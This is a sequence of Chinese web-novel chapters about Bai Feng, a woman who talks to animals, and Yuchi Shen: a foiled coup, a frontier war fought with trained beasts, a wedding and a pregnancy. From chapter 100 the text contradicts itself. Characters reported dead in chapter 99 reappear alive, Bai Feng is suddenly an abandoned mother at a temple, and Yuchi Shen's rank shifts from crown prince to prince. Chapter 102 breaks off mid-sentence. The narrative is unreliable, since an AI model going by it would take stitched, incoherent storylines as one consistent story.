孩童吓得哇哇大哭,他娘赶紧跑过来赔不是。 “姑娘息怒,孩子不懂事,我这就带他走。” 白凤板着脸,指着告示牌。 “下次再犯,直接轰出去,银子也不退。” 闹剧平息,游客们更加规矩了。 尉迟深走到她身边,低声道:“你那一嗓子,倒是管用。” “废话,我养了它们这么多年,还能镇不住?”白凤哼了一声,“不过你说得对,得找几个人手帮忙看着。” 当天傍晚,她就贴了招工告示。 三日后,百兽园多了五个壮汉,专门负责维持秩序。 白凤的日子过得滋润,每天数钱数到手软。尉迟深偶尔会来转转,两人也渐渐熟络起来。 这天,白凤正在给黑熊喂食,一只喜鹊落在她肩头,叽叽喳喳叫个不停。 她脸色一变,扔下食盆就往外跑。 “尉迟深!” 尉迟深正在马厩查看新到的战马,听见喊声转过身。 “太子有动作了。”白凤压低声音,“我的鸟儿传来消息,他在暗中联络边关将领,怕是要搞事。” 尉迟深眸色一沉。 “详细说。” “三日后,太子会在城南别院宴请几位将军。”白凤顿了顿,“我的鸟儿听见他们提到"起事"二字。” “你确定?” “我的情报网从不出错。”白凤拍拍胸脯,“不过嘛,这消息可不便宜。” 尉迟深看着她,嘴角抽了抽。 “你想要什么?” “听说你府上有株百年人参?”白凤眼睛发亮,“借我炖汤喝。” “成交。” 尉迟深转身就走,白凤赶紧跟上。 “哎,你就不问问我还知道什么?” “说。” “太子联络的将领里,有个叫李广的,是你手下吧?”白凤挑眉,“他可是太子的人。” 尉迟深脚步一顿,眼中闪过一丝寒光。 “我知道了。” 两人进了府,在书房密谈到深夜。 三日后,城南别院张灯结彩。 太子端坐主位,左右是几位将军。酒过三巡,他挥退下人,压低声音道:“诸位,父皇年事已高,却迟迟不肯传位。我等不能再等了。” 李广端起酒杯,正要附和,门外突然传来脚步声。 “太子殿下好兴致。” 皇帝推门而入,身后跟着尉迟深和一队禁军。 太子脸色煞白,酒杯啪嗒掉在地上。 “父、父皇……” “朕还没死呢,你就急着篡位?”皇帝冷笑,“来人,把这些乱臣贼子全部拿下!” 禁军一拥而上,将几位将军按倒在地。太子跪地求饶,却被皇帝一脚踹开。 “朕待你不薄,你却如此负朕!” 第98章 面如死灰 “父皇,儿臣冤枉!是他们蛊惑儿臣!”太子指着李广等人,声音发颤。 “冤枉?”尉迟深从怀中掏出一封信,“这是你亲笔写给李广的密信,白纸黑字,你还想抵赖?” 太子瘫软在地,面如死灰。 皇帝看着这个曾经寄予厚望的儿子,心中五味杂陈。 “来人,废太子之位,打入冷宫,终身监禁。” 太子被拖了出去,凄厉的哭喊声渐行渐远。 皇帝转身看向尉迟深,眼中多了几分欣慰。 “若非你及时禀报,朕险些酿成大祸。” “臣不敢居功。”尉迟深躬身,“此事多亏白姑娘的情报网。” “白凤?”皇帝想起那个古灵精怪的女子,“传朕旨意,赏她黄金百两,绸缎十匹。” “臣替她谢恩。” 回到府中,尉迟深把赏赐送到百兽园。 白凤正蹲在猴笼前,教猴子翻跟头。看见他来,眼睛一亮。 “人参呢?” 尉迟深从怀中掏出一个锦盒,白凤接过来打开,里面躺着一株品相极好的人参。 “啧啧,不愧是百年老参。”她满意地合上盒子,“对了,太子怎么样了?” “废了。”尉迟深言简意赅。 “那你岂不是……”白凤眼珠一转,“要当太子了?” “父皇还没下旨。” “早晚的事。”白凤拍拍他肩膀,“到时候可别忘了我这个功臣。” 尉迟深看着她,嘴角难得勾起一丝弧度。 “放心,少不了你的好处。” 半月后,圣旨下达,尉迟深被册封为太子。 朝堂上下一片哗然,却无人敢反对。毕竟尉迟深战功赫赫,又破获太子谋逆案,众望所归。 白凤收到消息,乐得合不拢嘴。 “我就说嘛,跟对人准没错。” 她正美滋滋地数钱,一只信鸽落在窗台上,腿上绑着一封信。 白凤拆开一看,脸色骤变。 “北疆蛮族大举入侵,边关告急!” 她抓起信就往宫里跑,半路上碰见尉迟深。 “你也知道了?” “刚接到军报。”尉迟深神色凝重,“父皇已下令,让我领兵出征。” “我跟你去。”白凤想都没想就说。 “战场凶险,你一个女子……” “少废话。”白凤打断他,“我的猛兽军团可不是吃素的,关键时刻能派上大用场。” 尉迟深沉默片刻,点了点头。 “好,一起去。” 三日后,大军开拔。 尉迟深统领五十万将士,白凤则带着她的猛兽队伍殿后。老虎、黑熊、狼群,甚至连几只鳄鱼都被装进特制的笼车,浩浩荡荡向北疆进发。 百姓们夹道相送,看着这支奇特的队伍,议论纷纷。 “那些猛兽真能打仗?” “听说白姑娘驯兽有一套,兴许真能建功。” “但愿将士们平安归来。” 行军途中,白凤骑在马上,身边跟着几只猴子。它们机灵得很,时不时跑到前面探路,回来后叽叽喳喳向她汇报。 “前方十里有条河,水不深,可以涉过。” “左侧山林里有野猪,可以打来加餐。” 尉迟深听着她和猴子“对话”,啧啧称奇。 “你还真能听懂兽语?” “那是自然。”白凤得意洋洋,“我从小就跟它们混在一起,早就摸清了它们的脾气。” 半月后,大军抵达边关。 守城将军迎出来,看见白凤和她的猛兽队伍,愣了半晌。 “太子殿下,这是……” “本宫的秘密武器。”尉迟深淡淡道,“安排人手,把这些猛兽安置好。” “是!” 当夜,尉迟深召集众将商议战事。 “蛮族这次来势汹汹,足有二十万人马。”守城将军指着地图,“他们占据了三座城池,切断了我军粮道。” “必须尽快夺回城池。”尉迟深目光扫过众人,“诸位可有良策?” 众将面面相觑,一时无人应答。 白凤靠在椅背上,忽然开口:“我有个主意。” 众人齐刷刷看向她。 “蛮族善骑射,正面硬刚咱们占不到便宜。”白凤指着地图上的一座城池,“但他们怕猛兽。我可以带着我的小弟们,趁夜色偷袭,打他们个措手不及。” “荒唐!”一位老将拍案而起,“战场岂是儿戏?岂能让一介女流胡闹?” “谁说我胡闹?”白凤瞪了他一眼,“我的猛兽个个训练有素,比你手下那些兵强多了。” 老将气得吹胡子瞪眼,尉迟深抬手制止。 “此计可行。”他看向白凤,“但你必须听从指挥,不可擅自行动。” “放心,我有分寸。” 三日后,夜幕降临。 白凤带着十几只老虎、二十几头狼,悄悄摸到城下。城墙上蛮族士兵正在巡逻,丝毫没察觉危险逼近。 “动手。” 白凤一声令下,猛兽们如离弦之箭冲了出去。老虎跃上城墙,狼群从城门缝隙钻入,鳄鱼则在护城河里掀起巨浪。 城内顿时乱成一团。 “有猛兽!” “快跑!” 蛮族士兵吓得魂飞魄散,四散奔逃。尉迟深趁机率军攻城,不到一个时辰就拿下了城池。 白凤站在城楼上,看着满地狼藉,吹了声口哨。 猛兽们纷纷聚拢过来,乖乖蹲在她脚边。 “干得不错。”她掏出肉干,一一喂给它们,“回去给你们加餐。” 尉迟深走上城楼,看着她和猛兽们亲昵的样子,眼中闪过一丝笑意。 “你这招,倒是出人意料。” “那当然。”白凤拍拍手,“我的小弟们可都是宝贝。” 接下来的战事进展顺利。有了猛兽助阵,蛮族节节败退,不到两月就被赶出了边关。 尉迟深下令班师回朝,白凤却提出要去一趟故乡。 “我想回去看看。”她语气平静,“好些年没回去了。” 尉迟深点头答应,亲自陪她同行。 故乡还是老样子,青砖灰瓦,炊烟袅袅。 白凤站在村口,看着熟悉的街道,心中五味杂陈。 “走吧。”尉迟深牵着马,跟在她身边。 两人走进村子,迎面碰见几个老乡。他们认出白凤,纷纷围了上来。 “凤丫头,你回来了!” “听说你在京城发达了,还带着猛兽打仗!” “可了不得啊!” 白凤笑着应付,心里却惦记着舅舅家。 她快步走到舅舅家门口,推开门,院子里空荡荡的。 “舅舅?” 无人应答。 白凤心中一紧,冲进屋里,却只看见舅妈坐在床边,目光呆滞,嘴里念念有词。 “冬梅,娘给你做了新衣裳……” 第99章 都好 “舅妈?”白凤走过去,轻轻拍了拍她肩膀。 舅妈转过头,眼神空洞,显然已经疯了。 白凤心头一沉,转身问邻居。 “我舅舅呢?” 邻居叹了口气,指着村外的山坡。 “你舅舅去年就没了。冬梅难产,一尸两命,你舅舅受不了打击,病倒后没几天就走了。” 白凤脚步踉跄,差点站不稳。尉迟深扶住她,低声道:“节哀。” 她摇摇头,深吸一口气,转身往山坡走去。 舅舅的坟就在山坡上,孤零零一座土包,连块像样的墓碑都没有。 白凤跪在坟前,从怀中掏出一块玉佩,埋进土里。 “舅舅,我来看你了。”她声音沙哑,“对不起,我回来晚了。” 尉迟深站在一旁,静静陪着她。 良久,白凤站起身,擦了擦眼角。 “我要给舅舅立块碑。” 当天下午,石匠就送来了一块青石碑。白凤亲自写了碑文,立在坟前。 消息传开,村里人纷纷赶来。他们看着白凤,眼中满是敬佩。 “凤丫头有出息了,还记得舅舅。” “可不是,换了别人,早就忘了根了。” 当夜,村里摆了流水席,为白凤接风。 乡亲们端着酒碗,轮番敬酒。白凤来者不拒,一碗接一碗地喝。 “凤丫头,你可给咱们村长脸了!” “是啊,听说你在京城开了个园子,专门养猛兽!” “还帮太子打仗,立了大功!” 白凤笑着应付,酒却越喝越多。 尉迟深坐在一旁,看着她脸颊泛红,眼神迷离,伸手想拦,却被她推开。 “别管我,今天高兴。” 她端起酒碗,一饮而尽。 夜色渐深,白凤终于撑不住了,趴在桌上睡着了。 尉迟深起身,将她打横抱起,向村长借了间客房。 他把白凤放在床上,正要转身离开,手腕却被她抓住。 “别走……”白凤迷迷糊糊地说,眼睛都没睁开。 尉迟深动作一顿,低头看着她。 月光透过窗棂洒进来,落在她脸上,晕出一层柔和的光。 他喉结滚动,终究还是坐了下来。 白凤翻了个身,整个人都贴了过来,脑袋埋进他怀里。 “真暖和……” 尉迟深僵硬地坐着,不敢动弹。 许久,他才缓缓抬起手,轻轻拍了拍她的背。 “睡吧。” 这一夜,两人就这么相拥而眠。 第二天清晨,白凤醒来,发现自己躺在尉迟深怀里,整个人都懵了。 “你、你怎么在这?” 尉迟深睁开眼,神色如常。 “你昨晚喝醉了,拉着我不让走。” “我……”白凤脸腾地红了,“我什么都不记得了。” “嗯。”尉迟深站起身,整理了一下衣襟,“该回京了。” 白凤裹着被子,看着他的背影,心跳得厉害。 回京路上,两人都有些沉默。 白凤偷偷瞄了尉迟深好几眼,欲言又止。 “有话就说。”尉迟深忽然开口。 “没、没什么。”白凤别过头,耳根发烫。 进了京城,皇帝亲自在宫门口迎接。 “太子凯旋,朕心甚慰。”他看向白凤,“白姑娘功不可没,朕要重重有赏。” “臣女不敢居功。”白凤行礼,却觉得胃里一阵翻涌。 她捂着嘴,脸色发白。 “你怎么了?”尉迟深扶住她。 “没事,可能是路上吃坏了肚子。”白凤摆摆手,“我先回去休息。” 回到府中,她越发觉得不对劲。不仅恶心,还总是犯困,胃口也变得古怪。 “该不会是……” 她心中一惊,赶紧找了个大夫来把脉。 大夫捋着胡子,笑眯眯地说:“恭喜姑娘,这是喜脉。” 白凤脑子嗡的一声,整个人都傻了。 “你、你说什么?” “姑娘有孕了,约莫一个多月。” 白凤呆坐在椅子上,脑海中闪过那晚的画面。 她和尉迟深…… “完了完了。”她抱着头,欲哭无泪。 这可怎么办? 她在屋里转了好几圈,最后一咬牙,决定去找尉迟深。 太子府,尉迟深正在书房处理公务。 白凤推门而入,神色复杂。 “我有事跟你说。” “说。” “我……”白凤深吸一口气,“我怀孕了。” 尉迟深手中的毛笔啪嗒掉在地上,墨汁溅了一桌子。 “你说什么?” “我怀孕了。”白凤重复了一遍,声音发颤,“孩子是你的。” 尉迟深愣了半晌,忽然笑了。 “好。” “好?”白凤瞪大眼睛,“你就说个好?” “不然呢?”尉迟深站起身,走到她面前,“我本就打算娶你,这孩子来得正好。” “你……”白凤张了张嘴,不知道该说什么。 “我知道你想问什么。”尉迟深握住她的手,“我并非绝嗣,只是不想接受父皇安排的联姻,才放出那个谣言。” “所以你早就打算娶我?” “嗯。” 白凤愣了愣,忽然笑了。 “你这人,心眼真多。” “彼此彼此。”尉迟深也笑了,“你不也一直在算计我?” 两人对视片刻,同时笑出声来。 三日后,尉迟深向皇帝请旨,要娶白凤为妃。 皇帝大喜,当即下旨赐婚。 婚礼定在一个月后,白凤忙得脚不沾地。 这天,尉迟深拿着一沓文书进来,递给她。 “这是什么?” “你父亲当年的案卷。”尉迟深神色郑重,“我查清了,他是被人陷害的。我已经上奏父皇,为白家平反。” 白凤接过文书,手微微发颤。 “我爹……” “他是清白的。”尉迟深握住她的手,“从今往后,白家的名声会恢复如初。” 白凤眼眶发红,却强忍着没让眼泪掉下来。 “谢谢你。” “不必谢我。”尉迟深将她拥入怀中,“你是我的妻子,这是我应该做的。” 婚礼如期举行,京城万人空巷。 白凤穿着凤冠霞帔,坐在花轿里,听着外面的锣鼓喧天,心中百感交集。 她从一个被人唾弃的“克星”,变成了太子妃,这一路走来,经历了太多。 花轿停下,尉迟深掀开轿帘,伸出手。 “娘子,该下轿了。” 白凤握住他的手,踏出轿子。 两人携手走进太子府,在众人的祝福声中,完成了拜堂仪式。 洞房花烛夜,白凤坐在床边,有些紧张。 尉迟深走进来,看着她局促的样子,忍不住笑了。 “怕什么?又不是第一次。” “你还说!”白凤脸一红,抓起枕头砸过去。 尉迟深接住枕头,坐到她身边。 “以后,我们就是一家人了。” “嗯。”白凤靠在他肩上,“你说,咱们的孩子会是男孩还是女孩?” “都好。” 第100章 娘,我饿了 白凤抱着豆豆回到城隍庙时,天色已经暗了下来。大黄狗叼着一只野兔跟在后面,尾巴摇得欢快。 “娘,我饿了。”豆豆揉着肚子,小脸皱成一团。 白凤摸摸儿子的头,接过大黄狗叼来的兔子。她手脚麻利地剥皮清理内脏,在庙里的破灶台上架起火。火光跳跃间,她脑子里还在想着今天的事。 那个黑甲侍卫说尉迟深要接她回去,呵,真是可笑。当初把她一个人丢在这破地方,连个铜板都没留,现在知道她生了儿子,就想起来认了? “主人,那些人会不会再来?”大黄狗蹲在一旁,舔着爪子。 白凤往灶膛里添了把柴:“来就来,我又不欠他们的。” 兔肉的香味渐渐飘散开来。豆豆眼巴巴地盯着锅,口水都快流下来了。白凤撕了块肉吹凉,递给儿子。 “慢点吃,小心烫。” 豆豆接过肉,咬了一大口,腮帮子鼓得像只小仓鼠。白凤看着儿子吃得香甜,心里软成一片。不管前世今生,这孩子是她的命根子,谁也别想打主意。 正吃着,庙门外传来脚步声。 大黄狗立刻竖起耳朵,喉咙里发出低沉的警告声。白凤站起身,护住豆豆,眼神警惕地看向门口。 进来的却是个陌生人,一个穿着灰布长衫的中年男人,手里提着个包袱。 “这位姑娘,打扰了。”男人拱手行礼,态度恭敬,“在下姓李,是个行商,天色晚了找不到客栈,能否借宿一晚?” 白凤打量着他。男人面相老实,眼神清澈,不像坏人。城隍庙本就是给过路人歇脚的地方,她也没理由赶人。 “随便找个角落吧。” 李行商连声道谢,在庙的另一侧角落放下包袱。他从怀里掏出几个馒头,就着冷水啃起来。 豆豆吃饱了,靠在白凤怀里打起瞌睡。白凤给儿子盖好薄被,自己却没什么睡意。今天卖药材得了五两银子,够她们娘俩撑一阵子,但长久之计还得想办法。 “姑娘。”李行商突然开口,“方才听镇上的人说起,您好像懂些药材?” 白凤警觉地看向他:“你打听我?” “不敢不敢。”李行商连忙摆手,“只是在下常年在外跑商,最近接了个活,要收购一批药材,可我不识货,怕被人蒙了。您要是方便,能否帮忙掌掌眼?” 白凤没立刻答应。她现在最不缺的就是谨慎,谁知道这人是不是别有用心。 “报酬好说。”李行商见她犹豫,又补充道,“每看一批货,给您二两银子。” 二两银子,不算少了。白凤心动了,但面上不显:“你要收什么药材?” “人参、灵芝、何首乌这些名贵的。”李行商压低声音,“说实话,是给京城里的大户人家收的,要求品质好,价钱不是问题。” 白凤想起今天在山洞里看到的那些药材。她虽然不是专业的,但原主在山里长大,多少认识些。加上现在能听懂动物说话,找药材比别人容易得多。 “行,但我有个条件。”白凤开口,“我帮你看货,你得先付定金,而且不能打听我的事。” “成交!”李行商爽快地答应,从怀里掏出一个荷包,“这里是五两银子,算是定金。三天后我会带第一批货来,到时候麻烦您了。” 白凤接过银子,掂了掂分量,确认无误后收好。李行商也不多话,裹着衣服靠墙睡了。 大黄狗凑过来,用鼻子蹭蹭白凤的手:“主人,这人说的是真话,我闻得出来。” 白凤摸摸它的头,心里盘算着。如果这条路走得通,她就不用再看舅妈那张脸色了。至于尉迟深那边,爱来不来,她现在有儿子有狗,日子照样过。 夜深了,庙里只剩下呼吸声和偶尔的虫鸣。白凤靠着墙闭上眼,脑子里却在规划明天的行程。山洞里还有不少药材没采,得趁早去,免得被别人发现。 第二天天刚亮,白凤就醒了。李行商已经不见踪影,只在原地留下两个热乎乎的肉包子。 “娘,包子!”豆豆揉着眼睛爬起来,小鼻子一抽一抽的。 白凤把包子递给儿子,自己啃了个干馒头。吃完饭,她把豆豆托付给大黄狗看着,自己背着竹篓上山了。 山路崎岖,白凤走得小心。她记得山洞的位置,但要绕过几个陡坡。走了大半个时辰,终于到了洞口。 洞里阴凉潮湿,白凤点了根火把,往深处走。昨天只采了外围的药材,里面应该还有更好的。 “吱吱吱!” 一只灰老鼠从石缝里钻出来,冲着白凤叫唤。 “又是你?”白凤认出这是昨天那只大耗子,“怎么,还有好东西要告诉我?” 老鼠转身往洞深处跑,白凤跟了上去。走了约莫十几步,眼前豁然开朗。这是个天然形成的石室,顶上有裂缝透进光线,地上长满了各种植物。 白凤眼睛一亮。这里的药材品相比外面好太多,有几株人参少说也有十年份。她正要动手采,突然听到外面传来说话声。 “就是这里,我昨天看得清楚,那女人就是从这洞里出来的。” 是沈冬梅的声音! 白凤心里一紧,赶紧吹灭火把,躲到石室角落。脚步声越来越近,很快就有人进了洞。 “娘,你说那贱人真在这里找到宝贝了?”沈冬梅的声音带着贪婪。 “肯定是!不然她哪来的银子?”舅妈气喘吁吁,“快找找,说不定还有剩的。” 白凤攥紧拳头。这两个人还真是阴魂不散,连这都要来抢。她屏住呼吸,听着外面的动静。 “哎呀,这里有人参!”沈冬梅兴奋地叫起来。 “快挖快挖,多挖点!” 白凤听着她们翻找的声音,心里盘算着怎么脱身。这石室只有一个出口,她要是现在出去,肯定会被堵个正着。 就在这时,老鼠又跑了过来,用爪子扒拉着白凤的鞋。 “吱吱吱!”它指了指石室后方。 白凤顺着它指的方向看去,发现墙角有个不起眼的缝隙,刚好够一个人侧身钻过去。她二话不说,背着竹篓挤了进去。 缝隙后面是条狭窄的通道,白凤摸黑往前走,手脚并用地爬了好一会儿,终于看到前方有亮光。她加快速度,从另一个洞口钻了出来。 这里是山的另一侧,离城隍庙更远。白凤拍拍身上的土,看着手里的竹篓,庆幸自己动作快,昨天采的药材都还在。 “算你们运气好。”白凤冷笑一声,转身下山。 回到城隍庙时,豆豆正和大黄狗玩得开心。看到娘回来,小家伙立刻扑过来。 “娘,你去哪了?豆豆想你了。” 白凤抱起儿子,在他脸上亲了一口:“娘去给豆豆挣银子了。” 大黄狗凑过来,鼻子在白凤身上嗅了嗅:“主人,你身上有血腥味。” 第101章 问你住哪 白凤低头一看,手臂上有道划伤,应该是刚才钻洞时蹭的。她找了块布简单包扎了一下,没当回事。 “对了,今天有人来过吗?” “没有。”大黄狗摇摇尾巴,“不过我听到镇上有人在打听你。” 白凤皱眉:“什么人?” “穿黑衣服的,骑着马,问你住哪。” 又是尉迟深的人。白凤有些烦躁,她都明确拒绝了,这些人怎么还阴魂不散? “主人,要不我们换个地方住?”大黄狗提议。 白凤摇头:“不用,他们要找就让他们找。我倒要看看,那个尉迟深到底想干什么。” 第三天傍晚,李行商果然来了,还带着两个伙计,扛着几个大箱子。 “白姑娘,货到了。”李行商笑容满面,“麻烦您帮忙看看。” 白凤让豆豆在一旁玩,自己走到箱子前。伙计打开箱盖,里面整齐地码着各种药材。 她拿起一株人参,仔细端详。参须完整,年份看着有七八年,品相中上。又检查了几样,基本都是真货,只有两株灵芝有些问题。 “这两株灵芝是假的。”白凤指出来,“用普通蘑菇染色做旧的,仔细看纹路就能分辨。” 李行商脸色一变,立刻让伙计把那两株挑出来。他又打开另外几个箱子,白凤一一检查,挑出了十几样有问题的。 “白姑娘好眼力!”李行商竖起大拇指,“要不是您,我可就亏大了。这是说好的报酬,您收好。” 他递过来一个沉甸甸的荷包,白凤打开一看,里面是十两银子。 “说好的二两。” “剩下的是谢礼。”李行商诚恳地说,“您帮我省了不少钱,这点心意请务必收下。而且,我还有个不情之请。” 白凤等着他继续说。 “我这批货要运到京城,路上少说也要半个月。您要是愿意,能否跟我一起去?路上帮忙看货,到了京城,我再给您五十两银子。” 五十两!白凤心动了。这可是笔大数目,够她和豆豆过上好日子了。 “我带着孩子。” “没关系,我雇了马车,您和孩子可以坐车。”李行商显然早有准备,“吃住我全包,您只管帮忙看货就行。” 白凤看了眼豆豆。小家伙正和大黄狗玩得开心,完全不知道娘在考虑什么大事。 “给我一天时间考虑。” “好,明天这个时候我再来。”李行商也不催促,带着伙计离开了。 等人走了,大黄狗凑过来:“主人,我觉得可以去。这里也没什么好待的,那些人老是来找麻烦。” 白凤沉思。去京城确实是个机会,远离这个破地方,也不用再担心舅妈和尉迟深的人纠缠。但带着豆豆长途跋涉,万一路上出事怎么办? “娘,我们要去哪?”豆豆跑过来,仰着小脸问。 “可能要去很远的地方。”白凤摸摸儿子的头,“豆豆怕不怕?” “不怕!”豆豆拍着胸脯,“有娘在,豆豆什么都不怕!” 白凤心里一暖,做了决定:“那就去。” 当天夜里,白凤收拾东西。她没什么家当,就几件换洗衣服和一些干粮。正忙活着,庙门外又传来动静。 这次来的人更多,火把照得庙门口亮如白昼。 “白凤,给我出来!” 是舅妈的声音,还带着一群人。 白凤抱起豆豆,让大黄狗护在身前,走出庙门。外面站着舅妈、沈冬梅,还有几个镇上的地痞无赖。 “你们又想干什么?” “干什么?”舅妈叉着腰,一副理直气壮的样子,“你个白眼狼,在我家吃了住了这么多年,现在发了财就想一走了之?门都没有!” “我欠你们什么了?”白凤冷笑,“当初是你们把我赶出来的,现在又来讹我?” “少废话!”沈冬梅指着白凤,“你要是识相,就把银子交出来,不然别怪我们不客气!” 那几个地痞摩拳擦掌,显然是来硬的。 大黄狗龇牙咧嘴,喉咙里发出威胁的低吼。 “怎么,还想咬人?”一个地痞掏出根木棍,“老子今天就把这畜生打死!” 他话音刚落,大黄狗猛地扑了上去,一口咬住他的手腕。地痞惨叫一声,木棍掉在地上。 “还愣着干什么,给我上!”舅妈尖叫。 其他几个地痞一拥而上,白凤护着豆豆往后退。就在这时,一阵马蹄声由远及近,十几个黑甲侍卫策马而来。 为首的正是那天来过的侍卫头子。他勒住马,冷眼看着眼前的混乱场面。 “住手!” 他一声令下,侍卫们纷纷下马,将那些地痞制住。舅妈和沈冬梅吓得脸色发白,想跑已经来不及了。 “你们好大的胆子,敢对王爷的人动手。”侍卫头子声音冰冷。 “王爷?什么王爷?”舅妈腿都软了。 “尉迟王爷。”侍卫头子看向白凤,“白姑娘,王爷有令,请您和小公子回府。” 白凤抱紧豆豆,面无表情:“我说了,不去。” “白姑娘,王爷说了,您要是不愿意,他可以亲自来请。”侍卫头子语气缓和了些,“而且,您现在的处境也不安全,这些人今天能来一次,明天还会来第二次。” 白凤看着被制住的舅妈等人,心里权衡利弊。侍卫说得没错,她要是留在这里,这些人肯定没完没了。但去王府,就等于承认了和尉迟深的关系,以后想脱身就难了。 “我可以去,但有条件。”白凤开口,“第一,我和豆豆住哪,我自己决定,不住王府。第二,我的事不用他管,他的事我也不过问。第三,我想走就走,谁也拦不住。” 侍卫头子犹豫了一下:“这个,我得回禀王爷。” “那就去禀。”白凤转身回庙里,“我等你们消息。” 侍卫头子看着她的背影,叹了口气。这位白姑娘的脾气,比王爷还硬。 “把这些人带走,交给县衙处理。”他吩咐手下,“留两个人在这守着,别让闲杂人等靠近。” 舅妈和沈冬梅被押走时,还在哭天抢地。白凤站在庙门口,看着她们的背影,心里没有一丝波澜。 “娘,那些坏人被抓走了?”豆豆小声问。 “嗯,以后不会来烦我们了。”白凤摸摸儿子的头。 大黄狗蹲在一旁,舔着爪子:“主人,我们真的要去王府吗?” “不去王府。”白凤眼神坚定,“但可以去京城。” 第二天一早,李行商来了。听说白凤愿意同行,他高兴得合不拢嘴。 “太好了!我已经准备好马车,随时可以出发。” “等等。”白凤叫住他,“我还有件事要办。” 她走到守在庙外的侍卫面前:“麻烦你回禀你家王爷,就说我要去京城,如果他真想见豆豆,就到京城来找。” 侍卫愣了一下,连忙点头:“是,我这就去禀报。” 第102章 去京城?跟谁? 白凤回到庙里,背起包袱,牵着豆豆的手。大黄狗跟在后面,一家三口上了李行商的马车。 马车缓缓启动,白凤掀开帘子,最后看了一眼这个待了几年的破庙。 “娘,我们真的要去很远的地方吗?”豆豆趴在车窗边,兴奋地看着外面。 “对,去一个新地方,开始新生活。”白凤揉揉儿子的头发。 马车驶出镇子,往京城方向而去。白凤不知道,在她离开后不久,一队人马也匆匆赶到了城隍庙。 为首的男人一身黑色锦袍,面容冷峻,正是尉迟深。 “人呢?”他沉声问。 “回王爷,白姑娘一早就走了,说是去京城。”侍卫跪地回禀。 尉迟深眉头紧皱:“去京城?跟谁?” “一个姓李的行商。” “查!”尉迟深转身上马,“查清楚那个李行商的底细,还有,派人保护她们,不许出任何差错。” “是!” 尉迟深策马离开,心里却有些烦躁。这个女人,怎么就这么倔? 马车在官道上行驶了三天,白凤和豆豆已经适应了颠簸。李行商很会照顾人,每到一个驿站就让他们下车休息,吃的用的都是最好的。 “白姑娘,再有五天就到京城了。”李行商坐在车辕上,回头说道,“到时候我先带您去见见东家,您帮忙把这批货验收了,银子立马就给您。” “你这东家是什么人?”白凤随口问。 “是个大户人家,姓陈,在京城开了好几家药铺。”李行商压低声音,“听说跟宫里有关系,来头不小。” 白凤点点头,没再多问。她现在只想拿到银子,在京城找个安稳地方住下来。 豆豆趴在车窗边,看着外面的风景。突然,他指着前方:“娘,那里好多人!” 白凤探头一看,前面的官道上围着一群人,不知道在看什么热闹。 “停车。”李行商吩咐车夫。 马车停下,李行商跳下去打听情况。过了一会儿,他回来了,脸色有些古怪。 “怎么了?”白凤问。 “前面有个江湖郎中在卖药,说是能治百病的仙丹。”李行商摇头,“一看就是骗子,可那些百姓还真信,抢着买呢。” 白凤来了兴趣:“我去看看。” 她抱着豆豆下了车,大黄狗紧跟其后。挤进人群,只见一个穿着道袍的老头站在中间,手里举着个药瓶,正在大声吆喝。 “走过路过不要错过!本道长祖传秘方,专治疑难杂症!什么头疼脑热,腰酸腿疼,吃一颗立马见效!” “真的假的?”有人质疑。 “怎么会假?”老道士吹胡子瞪眼,“不信你们看,这位大娘刚才还说腿疼,吃了我的药,现在不是好了吗?” 人群中一个老妇人配合地走了几步:“哎呀,还真不疼了!神药啊!” 围观的人信了,纷纷掏钱买药。白凤在旁边看着,嘴角勾起一抹冷笑。 “主人,那药有问题。”大黄狗小声说,“我闻到了迷药的味道。” 白凤眼神一冷。这老道士是在害人,那些百姓吃了他的药,当时可能感觉不到,时间长了肯定会出事。 “等等!”她突然开口。 老道士正数钱数得开心,听到有人喊停,不悦地抬头:“这位姑娘,有事?” “你这药有问题。”白凤直截了当。 “胡说!”老道士脸色一变,“我这是祖传秘方,怎么会有问题?” “是吗?”白凤走上前,从他手里拿过药瓶,倒出一颗药丸闻了闻,“这里面有曼陀罗花粉,还有蟾酥,这两样配在一起,吃了当时会觉得浑身舒服,但时间长了会损伤心脉,严重的会猝死。” 围观的人群一片哗然。 “你别血口喷人!”老道士急了,“我卖了这么多年药,从来没出过事!” “没出事是因为剂量小,毒性发作慢。”白凤冷冷地说,“但积累到一定程度,人就完了。” “你有什么证据?”老道士色厉内荏。 白凤看向那个说腿不疼的老妇人:“大娘,你现在是不是觉得心跳加快,脸发烫?” 老妇人一愣,下意识地摸了摸胸口:“哎,还真是,我还以为是天热呢。” “这就是药效发作了。”白凤转向众人,“你们要是不信,可以去找个正经郎中验验这药。” 人群里有人动摇了,纷纷要求退钱。老道士见势不妙,抓起钱袋子就想跑,却被大黄狗一口咬住衣角,拖了个踉跄。 “抓住他!别让他跑了!” 几个壮汉冲上去,把老道士按住。有人去报了官,很快就有衙役赶来,把人带走了。 “姑娘,多亏了你!”老妇人拉着白凤的手,感激涕零,“要不是你,我们都被骗了!” “举手之劳。”白凤淡淡地说。 围观的人纷纷道谢,还有人问她懂不懂医术,能不能帮忙看看病。白凤一一婉拒,带着豆豆回到马车上。 李行商看着她,眼里多了几分敬佩:“白姑娘,您这医术,可比那些江湖骗子强多了。” “略懂皮毛。”白凤不想多说。 马车继续前行。到了傍晚,他们在一个小镇的客栈住下。李行商去安排住宿,白凤带着豆豆在客栈大堂等着。 “娘,我要喝水。”豆豆扯扯白凤的衣角。 白凤正要去倒水,突然听到旁边传来一阵争吵声。 “我说了,我没钱!你们别逼我!” 一个年轻女子被几个壮汉围住,脸上满是惊恐。 “没钱?没钱你住什么客栈?”领头的壮汉冷笑,“要么给钱,要么跟我们走,自己选!” 女子往后退,却被另一个壮汉挡住了去路。她环顾四周,想求助,可客栈里的人都低着头,没人敢管闲事。 “放开她。” 白凤的声音不大,却让所有人都停了下来。 领头的壮汉转过身,上下打量着白凤:“哟,又来个多管闲事的?识相的就滚远点,别自找麻烦。” “我说,放开她。”白凤重复了一遍,语气更冷。 “你找死!”壮汉抬手就要打人。 大黄狗猛地扑上去,一口咬住他的手臂。壮汉惨叫一声,其他几个人也围了上来。 就在这时,客栈外传来一阵马蹄声。十几个黑甲侍卫冲进来,为首的正是那个侍卫头子。 “住手!” 侍卫们三下五除二就把那些壮汉制住了。侍卫头子走到白凤面前,恭敬地行礼:“白姑娘,王爷有令,一路护送您到京城,不得有任何闪失。” 白凤皱眉:“我不需要。” “这是王爷的命令。”侍卫头子态度坚决,“而且,这一路上不太平,您带着小公子,还是小心为好。” 白凤看了眼被救下的女子 第103章 那你说个数 天刚蒙蒙亮,白凤就背着竹篓出了门。 